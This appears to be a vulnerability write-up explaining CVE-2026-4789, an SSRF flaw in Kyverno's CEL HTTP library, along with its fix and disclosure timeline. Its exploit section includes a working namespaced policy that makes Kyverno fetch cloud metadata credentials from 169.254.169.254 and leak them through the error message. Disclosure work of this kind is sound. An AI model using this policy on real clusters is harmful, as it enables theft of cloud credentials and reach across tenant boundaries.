When the Guard Makes the Call: SSRF in Kyverno
Kyverno lets you write cluster policies that make HTTP calls. The call goes out from Kyverno's own pod, with Kyverno's network reach, not yours. CVE-2026-4789 turns a namespace-scoped policy into server-side request forgery against the whole cluster and the cloud metadata service. CVSS 9.8.
CVE-2026-4789critical 9.8
The one sentence that explains this bug: in Kubernetes, the component whose job is to check your policies can be told to make an HTTP request for you, and that request goes out with its permissions, not yours.
Kyverno is a guard standing at the door of the cluster. CVE-2026-4789 is the trick where you hand the guard a note, the guard walks into rooms you are not allowed into, and reads the note’s instructions out loud on the way back. The note can say “go ask the cloud metadata service for the credentials.” CVSS rated it 9.8, which is about as high as it goes.
Let me build this one from the ground up, because it sits on a few Kubernetes pieces that are worth understanding on their own.
Admission controllers: the bouncer at the cluster door
Every change in a Kubernetes cluster goes through the API server. Create a pod, update a deployment, make a config map: it all becomes a request to the API server. Before the API server saves any of it, the request passes through admission controllers, bits of code that get to inspect the request and say yes or no, or even modify it.
This is where cluster rules get enforced. “No container may run as root.” “Every pod must have resource limits.” “Images may only come from our registry.” An admission controller is the bouncer: it sees every request and decides what gets in.
Because it sees everything and runs as trusted infrastructure, an admission controller lives in a privileged spot on the network. Its pod can usually reach the API server, internal services in other namespaces, and, on a cloud-hosted cluster, the node’s metadata endpoint. Keep that in mind, it is the whole game.
Kyverno and policies-as-data
Writing an admission controller by hand is work. Kyverno is the popular shortcut: a policy engine that is an admission controller, where you write the rules as plain Kubernetes resources instead of code. You apply a ValidatingPolicy, and from then on Kyverno enforces it on matching requests.
Modern Kyverno expresses the logic of a rule in CEL (Common Expression Language), a small, safe expression language Google built for exactly this kind of “evaluate a boolean against some input” job. A CEL expression in a policy might say object.spec.replicas <= 5 to reject deployments asking for too many replicas. It is meant to be sandboxed and side-effect free.
In version 1.16.0, Kyverno added something that breaks the “side-effect free” assumption: CEL functions called http.Get() and http.Post(). Now a policy could reach out over the network while deciding whether to allow a request, to check an external service, fetch an allowlist, call out to something. Useful. Also the entire problem.
SSRF, quickly
Server-side request forgery is when you get a server to make a network request on your behalf, to a destination you choose. The danger is not that a request happens. It is who is making it. The server often sits somewhere you cannot reach directly: inside a private network, behind a firewall, next to sensitive internal services. When you steer the server’s request, you borrow its network position.
The classic prize is the cloud metadata service, reachable at the link-local address 169.254.169.254 from inside almost every cloud VM. Ask it the right path and it hands back temporary cloud credentials for whatever identity the machine runs as. It has no authentication of its own, because it assumes that only the machine itself can reach it. SSRF breaks that assumption, which is why “SSRF to 169.254.169.254” is a standard path from a web bug to full cloud account access.
The actual flaw
Kyverno has two namespaced policy types that a namespace admin can create: NamespacedValidatingPolicy and NamespacedDeletingPolicy. “Namespaced” is the safety story. A user with rights only in their own namespace should be contained there. That is the promise Kubernetes RBAC makes.
Kyverno’s CEL support is split into libraries. One of them, the resource library (resource.Lib), is careful: when a namespaced policy uses it to read cluster resources, it enforces the namespace boundary, so you only see what you are allowed to see. The HTTP library (http.Lib) is the one that was added in 1.16.0, and it enforces nothing of the sort. The function in pkg/cel/libs/http/http.go takes the URL from the policy and calls it. No namespace check. No validation of the destination. No blocklist for 169.254.169.254 or for internal cluster addresses.
Boiled down, the vulnerable logic was this:
1
2
3
4
5
6
7
// pkg/cel/libs/http/http.go (simplified)
func (c *httpClient) Get(url string) (any, error) {
// url comes straight from the policy's CEL expression.
// No allowlist. No blocklist. No namespace scoping.
resp, err := c.client.Get(url)
...
}
And here is the trap, stated plainly. The resource library asks “what is this policy’s namespace allowed to see?” The HTTP library never asks that question, so the request runs from the Kyverno pod’s network context, with the Kyverno pod’s reach, regardless of who wrote the policy or how little access they have. The thing that matters for SSRF is where the request comes from, not who wrote it. Kyverno’s design got that backwards for this one library.
Turning it into an exploit
Put the pieces together and a user with nothing but create permission on NamespacedValidatingPolicy in their own namespace, no access to kube-system, no cluster-admin, can do this:
Write a namespaced policy whose CEL calls
http.Get()against a target of their choosing. Something like:1 2 3 4 5 6 7 8 9 10 11
apiVersion: policies.kyverno.io/v1alpha1 kind: NamespacedValidatingPolicy metadata: name: totally-normal-policy namespace: attacker-ns spec: validations: - expression: >- http.Get("http://169.254.169.254/latest/meta-data/iam/security-credentials/").response == "never-matches" message: "denied"
Trigger the policy by doing something it matches, for example creating a config map in their own namespace. Kyverno evaluates the policy, and in doing so Kyverno’s pod makes the HTTP request to
169.254.169.254.Read the answer back. The neat, nasty part: the response gets folded into the validation error message. By comparing the fetched content against a value that never matches, the policy “fails” and Kyverno reports the failure, with the fetched content quoted in the message the user sees. The metadata service’s reply, including temporary cloud credentials, comes back to the attacker through the error text.
Swap the URL and the same policy reaches internal services the attacker could never hit directly, like http://internal-api.kube-system.svc.cluster.local, across the namespace boundary that was supposed to contain them.
Why it scores so high
The score is high because the bug erases two boundaries at once.
It bypasses Kubernetes RBAC. RBAC is the system that says “this user may act in this namespace and nowhere else.” Here the user’s own low privileges are irrelevant, because the request is made by Kyverno, which is privileged. The attacker’s reach becomes Kyverno’s reach.
And on a cloud cluster it reaches the metadata service, so a namespace-scoped tenant can pull the node’s cloud credentials: AWS IAM keys, GCP service account tokens, or Azure managed identity tokens, depending on the provider. From inside one tenant’s namespace to the cloud account’s credentials is a long way to travel, and this is a short trip.
This is not unique to Kyverno. It is the general hazard of any admission controller that combines a privileged network position with user-controlled expressions that can trigger outbound requests. Kyverno is where it showed up, but the pattern is worth watching for anywhere trusted infrastructure runs logic that users supply.
The fix
The maintainers’ fix (PR #15789) treats the HTTP library as dangerous by default for user-supplied policies:
http.Libis disabled for namespaced policies by default. If you did not opt in, a namespaced policy simply cannot make HTTP calls.- A flag,
--allowHTTPInNamespacedPolicies, lets an operator turn it back on deliberately, as a conscious choice rather than a silent default. - When HTTP is allowed, destinations run through a blocklist and allowlist, with sane defaults that cover loopback, link-local (
169.254.0.0/16, which includes the metadata address), the RFC 1918 private ranges, and CGNAT space. - Conformance tests to keep the boundary from quietly regressing, which, given how CVE-2026-23226 and its predecessor went on the kernel side, is the part I am most glad to see.
During disclosure we proposed an interim mitigation (PR #15729, restricting the HTTP library to cluster-scoped policies), but the maintainers closed it unmerged and shipped their own, more complete fix (PR #15789 above) instead. That is the one that landed.
Timeline
- Jan 29, 2026: Reported privately (GHSA-rggm-jjmc-3394).
- Mar 24, 2026: CVE-2026-4789 assigned.
- Mar 26, 2026: Interim mitigation PR #15729 proposed by Orca Security Research Pod (later closed unmerged in favor of #15789).
- Mar 30, 2026: Coordinated public disclosure, CERT/CC VU#655822 published.
- Apr 6, 2026: Maintainer fix PR #15789 merged.
Details and credits
- Component: Kyverno (Kubernetes policy engine and dynamic admission controller)
- Class: Server-side request forgery (CWE-918)
- CVSS: 9.8 Critical on NVD (
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). The GitHub advisory scores it 8.5 High (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N), the difference being whether creating a namespaced policy counts as a privilege. - Affected: Kyverno 1.16.0 through 1.17.1 (the
httpCEL library arrived in 1.16.0) - Fixed: 1.16.4, 1.17.2, and 1.18.0 (PR #15789, merged to main April 6, 2026, then backported)
- Needs:
createonnamespacedvalidatingpoliciesornamespaceddeletingpoliciesin any namespace - Reported by: Igor Stepansky, Orca Security Research Pod
References
- NVD entry: https://nvd.nist.gov/vuln/detail/CVE-2026-4789
- Orca Security write-up: https://orca.security/resources/blog/kyverno-ssrf-vulnerability-cve-2026-4789/
- CERT/CC VU#655822
- CWE-918 (Server-Side Request Forgery): https://cwe.mitre.org/data/definitions/918.html